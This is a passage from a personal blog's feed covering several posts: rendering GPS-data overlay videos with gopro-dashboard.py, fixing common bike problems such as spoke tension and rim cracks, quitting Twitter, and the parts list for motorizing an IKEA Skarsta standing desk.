        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;icon&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-128&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;file=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mountain.png&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;128&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric_unit&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;outline_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;140&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-128&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;alt&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;alt&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;32&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Altitude ({:~C})&lt;span class="nt"&gt;&amp;lt;/component&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;outline_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;140&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-92&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;alt&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;alt&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;92&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;540&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2120&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;gradient&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;icon&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-128&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;file=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;slope-triangle.png&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;128&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;outline_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;140&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-128&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;32&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Slope (%)&lt;span class="nt"&gt;&amp;lt;/component&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;outline_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;140&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-92&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;gradient&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;92&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;3800&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2120&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;heartbeat&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;icon&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-128&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-128&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;file=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;heartbeat.png&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;128&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;outline_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-140&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-128&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hr&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;128&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;right&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/layout&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="3-generate-a-video"&gt;3. Generate a video&lt;/h1&gt;
&lt;h2 id="a-transparent-video-with-the-data-only"&gt;A transparent video with the data only&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;.env/bin/gopro-dashboard.py --use-gpx-only --gpx ~/Downloads/some-ride.gpx --profile vp9 --layout-xml ~/Documents/my-layout-1920x1080.xml --overlay-size 1920x1080 --units-speed kph --units-altitude meter --units-distance km --units-temperature degC --gps-speed-max &lt;span class="m"&gt;120&lt;/span&gt; --gps-speed-max-units kph ~/Downloads/output.webm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It's going to take some hours. Encoding with VP9 in a .webm container is actually slower than with PNG in .mov container, but the file size is like 100 times smaller. Another way to speed up the processing is to further reduce the final file framerate (30 by default, here in the XML we set it to 5).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Although Kdenlive works fine with VP9 files with a framerate set to 5, Davinci Resolve 19 does not.&lt;/strong&gt; I kept getting "Media offline" errors, after importing. In this case, exporting in .mov, using the default built-in &lt;code&gt;mov&lt;/code&gt; profile solves the issue:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;.env/bin/gopro-dashboard.py --use-gpx-only --gpx ~/Downloads/some-ski-ride.gpx  --profile mov --layout-xml ~/Documents/my-layout-4k-3840x2160-ski --overlay-size 3840x2160 --units-speed kph --units-altitude meter --units-distance km --units-temperature degC --gps-speed-max &lt;span class="m"&gt;120&lt;/span&gt; --gps-speed-max-units kph ~/Downloads/output.mov
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's the kind of result you can expect:&lt;/p&gt;
&lt;video controls&gt;
  &lt;source src="./videos/gpx-overlay.webm" type="video/webm"&gt;
&lt;/video&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/gpx-overlay.png" alt="A screenshot of the video" /&gt;
&lt;figcaption&gt;A screenshot of the video, in case you can't play it&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;And the final result, merged with GoPro footage:&lt;/p&gt;
&lt;video controls&gt;
  &lt;source src="./videos/gpx-overlay-merged.webm" type="video/webm"&gt;
&lt;/video&gt;

&lt;p&gt;All that's left now, is merge this video with an actual footage, sync it, and voilà! I recommend using &lt;a href="https://romainpellerin.eu/video-editing-on-linux.html"&gt;Kdenlive on Linux&lt;/a&gt;..&lt;/p&gt;
&lt;h2 id="the-final-video-right-away-footage-overlay"&gt;The final video right away (footage + overlay)&lt;/h2&gt;
&lt;p&gt;Make sure the input video has the correct mtime (modified time). Check with &lt;code&gt;stat file.mp4&lt;/code&gt; or &lt;code&gt;ls -la file.mp4&lt;/code&gt;. If it's a Insta360 video, and the filename matches &lt;code&gt;YYYYMMDD_HHMMSS_sss.mp4&lt;/code&gt;, you can update it with this script: &lt;a href="https://github.com/rpellerin/dotfiles/blob/master/scripts/updateModifyTimeInsta360File.py"&gt;https://github.com/rpellerin/dotfiles/blob/master/scripts/updateModifyTimeInsta360File.py&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;.env/bin/gopro-dashboard.py --use-gpx-only --gpx ~/Downloads/some-ride.gpx  --profile mp4 --layout-xml ~/Documents/my-layout-portrait.xml --overlay-size 1080x1920 --units-speed kph --units-altitude meter --units-distance km --units-temperature degC --gps-speed-max &lt;span class="m"&gt;120&lt;/span&gt; --gps-speed-max-units kph --video-time-start file-modified some-video.mp4  ~/Downloads/output.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's it!&lt;/p&gt;</content><category term="Linux"></category><category term="video"></category><category term="linux"></category><category term="gps"></category><category term="gpx"></category><category term="kdenlive"></category></entry><entry><title>Common Problems With Bikes</title><link href="https://romainpellerin.eu/common-problems-with-bikes.html" rel="alternate"></link><published>2023-06-21T15:30:00+02:00</published><updated>2025-03-08T00:49:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-06-21:/common-problems-with-bikes.html</id><summary type="html">&lt;p&gt;Common problems and usual solutions&lt;/p&gt;</summary><content type="html">&lt;h1 id="servicing-a-bike"&gt;Servicing a bike&lt;/h1&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/2eXWwQ3Jcyg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="broken-derailleur-cable"&gt;Broken derailleur cable&lt;/h1&gt;
&lt;p&gt;Recently my rear derailleur cable broke in the middle of a ride. Good thing it was on a Saturday morning, and a bike shop was only a few kilometers away.&lt;/p&gt;
&lt;p&gt;The symptoms leading up to the moment it actually broken are pretty simple: all of a sudden, I could no longer shift to the 2 rightmost speeds. The explanation must be that the cable was so worn out that it would not slide properly/completely. After the symptoms appeared, it took about 50 gear shifts for the cable to actually break. When it did so, my rear derailleur suddently shifted to the rightmost speed (the hardest). Fun!&lt;/p&gt;
&lt;h1 id="rim-cracks-at-spokes-wheel-problem"&gt;Rim cracks at spokes (wheel problem)&lt;/h1&gt;
&lt;p&gt;This one is pretty hard to identify at first. For me, gradually over some rides I started noticing like a rubbing noise. The noice would be there regardless of me pedaling or not (can be hard to hear when not pedaling because of the freewheel).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Rim cracks" src="https://romainpellerin.eu/images/rim-cracks.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Turns out this is a very common problem with wheels. Can't be fixed, all you gotta do is replace the whole wheel (or rim if you like to build wheels).&lt;/p&gt;
&lt;p&gt;My wheels are the entry-level ones from Mavic, the Aksium. It looks like the entry-level wheels from DT Swiss (P1800 spline) are better made. Or maybe I should get the mid-level DT Swiss PR 1400 DICUT 21 or 32? In their OXIC version? Supposedly it brakes better, with the right blue pads from DT Swiss.&lt;/p&gt;
&lt;h2 id="tips-for-buying-wheels"&gt;Tips for buying wheels&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;"Centerlock" is a disc brake technology&lt;/li&gt;
&lt;li&gt;Look for clincher wheels, not tubular&lt;/li&gt;
&lt;li&gt;Careful with the freehub compatibility, for me it needs to be compatible with Shimano HG-L (cause I have 11 speeds)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="how-to-true-a-wheel-and-fix-spoke-tension"&gt;How to true a wheel and fix spoke tension&lt;/h1&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/p8msYQEqSIM" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;Don't forget to re-align bladed spokes for best aerodynamics.&lt;/p&gt;
&lt;p&gt;As to the tension, &lt;a href="http://cr.lavalnord.pagesperso-orange.fr/Fiches%20Techniques%20,%20voilage%20roues,%20rayons.htm"&gt;this website&lt;/a&gt; recommends:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;90 to 110 daN (daN = decaNewtons) for a front wheel&lt;/li&gt;
&lt;li&gt;90 to 110 daN for a rear wheel right side (cassette side)&lt;/li&gt;
&lt;li&gt;the tensions of the spokes on the right side (cassette side) is round about 70% higher than the tension on the left side, (NB: &lt;strong&gt;if the spokes are the same&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mavic-aksium"&gt;Mavic Aksium&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.mavic.com/fr-fr/aksium-rr0988.html"&gt;Product page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://technicalmanual.mavic.com/tech-mavic/technical_manual/data/mavic_tech.php?display=product&amp;amp;macronu=29666"&gt;Technical page&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After asking Mavic directly over the phone (because no information available online), they recommend the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rear wheel right side (cassette side): 90kgs, +/- 10kg&lt;/li&gt;
&lt;li&gt;Rear wheel left side, and front wheel: 80kgs, +/- 10kg&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="state-out-of-the-factory-for-a-rear-wheel-mavic-aksium"&gt;State out of the factory for a rear wheel Mavic Aksium&lt;/h3&gt;
&lt;p&gt;They're not the best wheels out there for sure. Check out the default truness, both the radial trueness (&lt;em&gt;saut&lt;/em&gt; in French) and lateral trueness (&lt;em&gt;voilage&lt;/em&gt; in French) are off.&lt;/p&gt;
&lt;video controls&gt;
  &lt;source src="./videos/mavic-aksium-factory.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;p&gt;The average tension was as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Right side (cassette-side): 46.7, measured with a calibrated Unior 1752/2 tension meter&lt;/li&gt;
&lt;li&gt;Left side: 51.05, measured with a calibrated Unior 1752/2 tension meter&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="spokes"&gt;Spokes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Front wheel: 283-mm long, 2mm diameter (as measured by me)&lt;/li&gt;
&lt;li&gt;Rear wheel right side (cassette side): 283-mm long, 2mm diameter (as measured by me)&lt;/li&gt;
&lt;li&gt;Rear wheel left side: 301-mm long, 1.2x3.0mm blades (as measured by me)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dt-swiss-pr-1400-dicut-oxic"&gt;DT Swiss PR 1400 DICUT OXiC&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.dtswiss.com/en/wheels/wheels-road/performance/pr-1400-dicut-oxic"&gt;Product page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Technical pages: &lt;a href="https://www.dtswiss.com/en/support/product-support?matnr=WPR1400AAQXKA07121"&gt;front&lt;/a&gt; and &lt;a href="https://www.dtswiss.com/en/support/product-support?matnr=WPR1400HRQJKA10990"&gt;rear&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="state-out-of-the-factory-for-a-rear-wheel-mavic-aksium_1"&gt;State out of the factory for a rear wheel Mavic Aksium&lt;/h3&gt;
&lt;p&gt;The average tension on the front wheel is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Both sides: 40.5, measured with a calibrated Unior 1752/2 tension meter&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The average tension on the rear wheel is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Right side (cassette-side): 42.5, measured with a calibrated Unior 1752/2 tension meter&lt;/li&gt;
&lt;li&gt;Left side: 32.5, measured with a calibrated Unior 1752/2 tension meter&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="adjust-front-shimano-105-derailleur"&gt;Adjust front Shimano 105 derailleur&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/BikeMechanics/comments/gkqiwl/figured_out_the_shimano_linkage_derailleur_design/"&gt;Link to Reddit&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That's it!&lt;/p&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="wheel"></category></entry><entry><title>Twitter, we are breaking up</title><link href="https://romainpellerin.eu/twitter-we-are-breaking-up.html" rel="alternate"></link><published>2023-03-31T01:30:00+02:00</published><updated>2023-03-31T01:30:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-03-31:/twitter-we-are-breaking-up.html</id><summary type="html">&lt;p&gt;After 11.5 years spent on Twitter, it's time to move on&lt;/p&gt;</summary><content type="html">&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/twitter-we-are-breaking-up/last-tweet.png" alt="A screenshot of my last tweet on Twitter" /&gt;
&lt;figcaption&gt;My very last tweet on Twitter.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Yeah that was a fun ride. 11.5 years spent on that platform. First I talked with real life friends. Then I started studying programming and quickly met like-minded people there, sharing tips, news, talking about Android, Web development... Back then I was also a big fan of Google. Then came the internationalization years, when I started interacting with non French-speakers in English and widened my reach. SpaceX, Tesla, and other new topics caught my attention. Finally I got into cycling communities, initially when living in Paris (posting videos of car drivers doing random shit). Then I moved to Berlin and my engagement came to a sudden stop, I was mostly reading and sometimes retweeting but not actively tweeting. My interest dropped at that time and shifted to different IRL activities. Then Elon Musk bought Twitter, a lot of crazy shit happened, many people left, being a verified user stopped having any sort of meaning (except that you were a paying user). And I got fed up. I'm done caring about what everyone has to say. I don't think it's very healthy anyway. There are too many weirdos out there, now with Twitter they get a voice and can spread their hatred broadly. So fuck it, I'm out!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/twitter-we-are-breaking-up/profile.png" alt="A screenshot of my Twitter profile" /&gt;
&lt;figcaption&gt;My profile on Twitter&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;em&gt;And my number of followers never took off anyway... HAHAHA&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I might keep the account and not delete it, just so that my handle does not get stolen. But I already emptied it of any content.&lt;/p&gt;</content><category term="What's bad about"></category><category term="social media"></category><category term="twitter"></category></entry><entry><title>Motorizing an IKEA Skarsta Standing Desk</title><link href="https://romainpellerin.eu/motorizing-an-ikea-skarsta-standing-desk.html" rel="alternate"></link><published>2023-03-14T23:00:00+01:00</published><updated>2024-07-30T16:14:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-03-14:/motorizing-an-ikea-skarsta-standing-desk.html</id><summary type="html">&lt;p&gt;Tutorial about how I motorized my IKEA Starska standing desk&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;UPDATE 2024: after dreaming about it for about a year, the V2 of this project finally came to be. Scroll all the way down to read about it!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I got really tired of turning the crank of my IKEA Starska standing desk multiple times a day. Not only this is tedious, but also I can't keep on typing or using my mouse while doing so. And if I'm in a meeting, I look stupid. So I decided to motorize it. I know IKEA already sells an electrical version of it with a motor, but it's 200 euros more expensive and I already had one desk. Plus I like challenges!&lt;/p&gt;
&lt;p&gt;After hours of googling and reading various blog posts (see the bottom of this page for links), after days spent waiting for all my orders to arrive, after minutes of tinkering, I finally got a working prototype!&lt;/p&gt;
&lt;video controls&gt;
  &lt;source src="./videos/motorizing-an-ikea-skarsta-standing-desk.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;p&gt;That's far from perfect, I already have ideas about how to improve it, but for now that'll do... Down below is the shopping list for this project and the steps to build it. I hope this helps!&lt;/p&gt;
&lt;h1 id="hardware"&gt;Hardware&lt;/h1&gt;
&lt;h2 id="dc-12v-gear-motor-37d-mm"&gt;DC 12V Gear Motor (37D mm)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Not just a regular DC motor. See &lt;a href="https://electronics.stackexchange.com/questions/97477/difference-between-a-dc-motor-and-gear-motor"&gt;the difference between a regular DC motor and a DC gear motor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The diameter must be 37 mm, so that it fits perfectly under the IKEA Starska standing desk&lt;/li&gt;
&lt;li&gt;Torque must be equal to or greater than 2Nm (20.4 kg.cm) (info found &lt;a href="http://cesarmoya.com/blog/motorizing-standup-desk/"&gt;here&lt;/a&gt;). Look at the stall torque, not the rated torque.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/motor.jpg" alt="A picture of the motor" /&gt;
&lt;figcaption&gt;The motor I bought from Aliexpress&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I bought and tried these 2, &lt;a href="https://de.aliexpress.com/item/32968002582.html"&gt;the 12V 72 RPM edition, that draws 3 amps ("stall current"), and the 12V 136 RPM one&lt;/a&gt;. According to the specs of the 72 RPM one, the stall torque is greater than 30 Kg.cm and it works perfectly! I can put weight on the desk (I tried more than 30 Kg) and it still raises the desk up easily! As to the 136 RPM, it works well too, up to 30 Kg, but it gets real close to stalling. Without much weight (a laptop and a monitor), it raises the desk at about 100 rotations per minute.&lt;/p&gt;
&lt;p&gt;9.36 euros&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/motor-specs.jpg" alt="A table showing the specs of the motor" /&gt;
&lt;figcaption&gt;Specs of the motor&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Alternatively, &lt;a href="https://www.pololu.com/product/4745"&gt;this other motor looks like a viable option too&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="aluminum-l-bracket-for-37d-metal-gearmotors"&gt;Aluminum L-Bracket for 37D Metal Gearmotors&lt;/h2&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/l-bracket-for-37d-motors.jpg" alt="A picture of a pair of L-Brackets for motors" /&gt;
&lt;figcaption&gt;The L-Bracket pair I got (only 1 is necessary for this project though)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;We will use this to secure the motor to the desk. &lt;a href="https://thepihut.com/products/pololu-stamped-aluminum-l-bracket-pair-for-37d-metal-gearmotors"&gt;I got it from The PiHut&lt;/a&gt;. £8.25&lt;/p&gt;
&lt;h2 id="power-adapter-input-ac-110-240v-output-dc-12v-5a"&gt;Power adapter INPUT AC 110-240V / OUTPUT DC 12V 5A&lt;/h2&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/acdc-power-adapter.jpg" alt="A picture of a power adapter" /&gt;
&lt;figcaption&gt;The adaper I got from Amazon&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;a href="https://www.amazon.de/12V-voltage-transformer-power-adapter/dp/B07L5GP7SD"&gt;I got this one from Amazon&lt;/a&gt;, works like a charm! 14.99 euros.&lt;/p&gt;
&lt;h2 id="6mm-hex-key"&gt;6mm hex key&lt;/h2&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/6mm-hex-key.jpg" alt="A picture of an hex key" /&gt;
&lt;figcaption&gt;The 6mm hex key I got&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;a href="https://www.obi.de/schluessel-abzieher/lux-sechskant-schluessel-comfort-6-mm/p/3471075"&gt;I got this one Obi.de&lt;/a&gt; and I had to cut off the bent part of it. This will replace the original crank provided with the desk. 4.49 euros.&lt;/p&gt;
&lt;h2 id="7mm-shaft-coupler"&gt;7mm shaft coupler&lt;/h2&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/7mm-shaft-coupler.jpg" alt="A picture of a shaft coupler" /&gt;
&lt;figcaption&gt;The 7mm shaft coupler I got&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;This will connect the motor to the hex key in the desk. Get a &lt;a href="https://www.amazon.de/dp/B07HKJL1XC"&gt;7mm shaft coupler&lt;/a&gt;, since the motor comes with a 6mm D-shaped shaft. The hex shaft for the desk is 6mm too, so the shaft coupler must be 1mm larger. 8.27 euros.&lt;/p&gt;
&lt;h2 id="dc-motor-driver"&gt;DC motor driver&lt;/h2&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/dc-motor-driver.jpg" alt="A picture of a DC motor driver" /&gt;
&lt;figcaption&gt;The DC motor driver I got from Cytron.io&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;This will control the motor. I went with the &lt;a href="https://www.cytron.io/p-10-amp-7v-30v-potentiometer-and-switch-control-dc-motor-driver"&gt;MD10-POT from Cytron&lt;/a&gt;, that comes with a potentiometer (adjust speed) and switch (2 directions and stop), and that does not require any Arduino nor any code writing.&lt;/p&gt;
